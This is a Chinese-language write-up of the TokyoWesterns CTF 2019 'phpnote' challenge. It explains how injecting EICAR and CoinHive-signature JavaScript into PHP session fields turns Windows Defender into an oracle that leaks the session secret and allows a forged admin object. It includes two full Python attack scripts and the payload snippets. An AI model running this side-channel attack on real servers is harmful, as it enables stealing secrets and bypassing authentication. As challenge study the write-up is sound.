这是前不久TokyoWesterns CTF 2019 上的一道题目,个人觉得这类题目比较有意思,算是接触了以前不曾接触的方面,对侧信道的概念又加深了一点,以下为做这道题目的总结学习。
http://phpnote.chal.ctf.westerns.tokyo/
0x01 题目及分析
<?php
include 'config.php';
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
function is_login() {
return !empty($_SESSION['secret']);
}
function redirect($action) {
header("Location: /?action=$action");
exit();
}
$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}
if ($action === 'source') {
highlight_file(__FILE__);
exit();
}
session_start();
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
if ($action === 'logout') {
session_destroy();
redirect('index');
}
if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}
if ($action === 'getflag') {
$note->getflag();
}
?>
题目定义了一个Note对象,想要获得FLAG的话需要调用该对象的getflag方法。
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
不过想要输出FLAG需要进行检验,检验该对象中的isadmin标志是否===true,如果为true则输出FLAG。
$Note->getflag()会在action参数为getflag时进行调用。
在$_COOKIE[‘note’]中存放了序列化后base64加密的Note对象,比如
Tzo0OiJOb3RlIjoyOntzOjU6Im5vdGVzIjthOjE6e2k6MDthOjI6e2k6MDtzOjE6ImEiO2k6MTtzOjE6ImEiO319czo3OiJpc2FkbWluIjtiOjA7fQ%3D%3D
并且在每次访问时,首先会经过下面这段代码的验证,如果验证通过则$Note的值为,对$_COOKIE[‘note’]进行base64解码然后进行反序列化后所得的对象,如果为假则$Note的值为isadmin值为false的Note对象。
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
如果后端对数据不做任何检验,我们可以轻易伪造一个isadmin值为true的Note对象,这样就可以直接调用到getflag()函数,但是这道题目后端采调用了gen_secret()函数来生成一个secret值存放于$_SESSION中
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
并在检验过程中作为hash_mac的key值,希望借此来阻挡伪造对象获取FLAG
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
看起来,似乎没有什么办法可以获得FLAG了。注意到该系统运行的是Microsoft-IIS/10.0 + PHP/7.3.9我们可以判断该系统为window系统。
0x02 Windows Defender的文件检测及防御
对这个特性的利用方法是TokyoWesterns团队(也就是这个比赛的主办方)icchy大佬在WCTF2019中提出的,详细内容可以参考(https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf)
Windows Defender做什么?
Windows Defender会做以下几个事情:
- 检查文件的内容是否含有恶意数据。
- 更改含有恶意数据的文件的权限来阻止用户执行。
- 把恶意部分替换为空字节。
- 删除整个文件。
在第二步之后,文件就由SYSTEM来控制了,用户无法打开包含恶意数据的文件。
什么样的malicious code会触发?
EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会与计算机病毒研究组织研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。 杀毒软件的开发者将EICAR字符视为测试病毒,与其他鉴别标识相似。
进行一下验证,如果安装了杀毒软件的需要自行把病毒防护更改为Windows自带的Windows Defender。
我随便新建一个文件,写入从EICAR标准反病毒测试文件中挑选的一些样本,比如:
那么将会被Windows Defender检测并执行上述步骤
在最后该文件会被清除。
Windows Defender还有什么特性?
mpengine.dll是Windows Defender的核心DLL,其中包含了JScript engine,在JScript engine中继承了一些基础用法,比如字符串索引操作、数学操作这些,并且支持eval函数,但是eval的参数会进行检测,假如我们想要执行的参数里包含恶意代码样本的特征,将会触发Windows Defender。
这个特性可以怎么利用呢?
假如可控输入会以某种形式被Windows Defender检测,比如该输入保存到了session文件中,那么就会按照上面介绍的四个步骤对该session文件处理,所得到的具体表现为,使用该session无法正常登录(因为被session文件被Windows Defender阻止了,无法访问)
在这道题目中,正常的session文件内容如下:
realname|s:8:"realname";nickname|s:8:"nickname";secret|s:6:"secret";
但是realname和nickname的值是我们可控的,假如控制输入为恶意数据,那就会触发检测。
0x03 利用Windows Defender来获取secret
上面我们只讲到存在malicious data的文件会触发检测,那么我们怎么利用这个现象来获取数据呢?
结合前面的Windows Defender自带的JS引擎,Windows Defender可以执行简单的JS,那么我们可以通过简单的JS代码来获取document.body.innerHTML的内容。
比如:
<script>
var mal = 'var miner=new Coin';
var n = document.body.innerHTML.charCodeAt(0);
mal = mal + String.fromCharCode(n^40) + 'ive.User();miner.start';
</script>
但是又有同学可能会问,secret不是存放在session里吗,就算输入malicious data,触发检测,甚至获取document.body.innerHTML的内容又能怎么样呢?
这里就要通过构造标签来使得secret包含在标签内,比如:
realname|s:6:"<body>";secret|s:6:"secret";nickname|s:179:"</body>PAYLOAD";
在PAYLOAD辅以简单的判断innerHTML内容的代码,如果判断为真则返回*来触发检测,如果为假则返回任意一个不会触发的字符。
但是正常输入realname和nickname的话session文件如下:
realname|s:8:"realname<body>";nickname|s:8:"nickname</body>";secret|s:6:"secret";
这个时候即使构造标签,也无法使得secret在innerHTML里,但是仔细观察代码:
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
如果nickname为空,那么就只有realname和secret会被存进session里
realname|s:8:"realname<body>";secret|s:6:"secret";
如果再次进行login请求并携带nickname值,那么nickname值就会被加到session文件的末尾。
realname|s:8:"realname<body>";secret|s:6:"secret";nickname|s:8:"nickname</body>";
这样我们就可以把secret包含在innerHTML里了,并且通过JS可以获取到secret。
如果判断值与secret中的某个值相等,则返回会触发检测的值,这时Windows Defender已经阻止该session文件的访问或者已经删除,那么我们使用相同session再次请求登录就会要求我们再次登录,这样我们就有一个oracle,并得到secret的值,从而伪造isadmin的值为true的Note对象。
后面就是JS判断的编写,以及恶意数据样本的选取,通过脚本来省去这一系列的步骤。
给出梅子酒师傅的脚本
import requests
import string
import random
url = "http://phpnote.chal.ctf.westerns.tokyo/?action={}"
result = ""
def randstr(n=10):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])
def loop(idx, sess_id):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': str(m)})
sess_id = randstr()
headers = {
"Cookie": "PHPSESSID={}; path=/".format(sess_id)
}
requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p}, proxies={'http':'localhost:1080'})
requests.post("http://phpnote.chal.ctf.westerns.tokyo/?action=login", headers=headers, data={'realname': p, 'nickname': "</body>"}, proxies={'http':'localhost:1080'})
re = requests.get("http://phpnote.chal.ctf.westerns.tokyo/?action=index", headers=headers, proxies={'http':'localhost:1080'})
if re.text.find('Welcome') != -1:
h = m
else:
l = m
return chr(l)
for i in range(0, 50):
x = loop(i, "627e7a6eb29a9750aeb1c6dd2539cc80")
print("[*]: " + x)
result += x
print(result)
balsn大佬们的:
#!/usr/bin/env python3
import requests
s = requests.session()
data = {
'realname': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<body>',
'nickname': '',
}
r = s.post('http://phpnote.chal.ctf.westerns.tokyo/?action=login', data=data)
data = {
'realname': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<body>',
'nickname': '''
</body>
<script>
// entropy QAQQAQ qceO9xEKzbOLk8IG90JtVKqA3prrbfQPqQb0wLksU+e7trdtVPUa1VbfiPnDs41bO2AEMQyySz+J
var aa;
aa=function(l) {
eval("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo" + l);
}
aa(document.body.innerHTML.indexOf('secret') != -1 ?"K":"G")
</script>
''',
}
r = s.post('http://phpnote.chal.ctf.westerns.tokyo/?action=login', data=data)
print(r.text)
样本的选取以及JS的编写也不唯一,比如
<script>
var mal = 'var miner=new Coin';
var n = document.body.innerHTML.charCodeAt(0);
mal = mal + String.fromCharCode(n^40) + 'ive.User();miner.start';
eval(mal);
</script>
//触发
<script>
var mal = 'var miner=new Coin';
var n = document.body.innerHTML.charCodeAt(0);
mal = mal + String.fromCharCode(n^65) + 'ive.User();miner.start';
eval(mal);
</script>
//不触发
最后获取到secret就可以轻松伪造得到FLAG了!
0x04 References
https://en.wikipedia.org/wiki/EICARtestfile
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf
发表评论
您还未登录,请先登录。
登录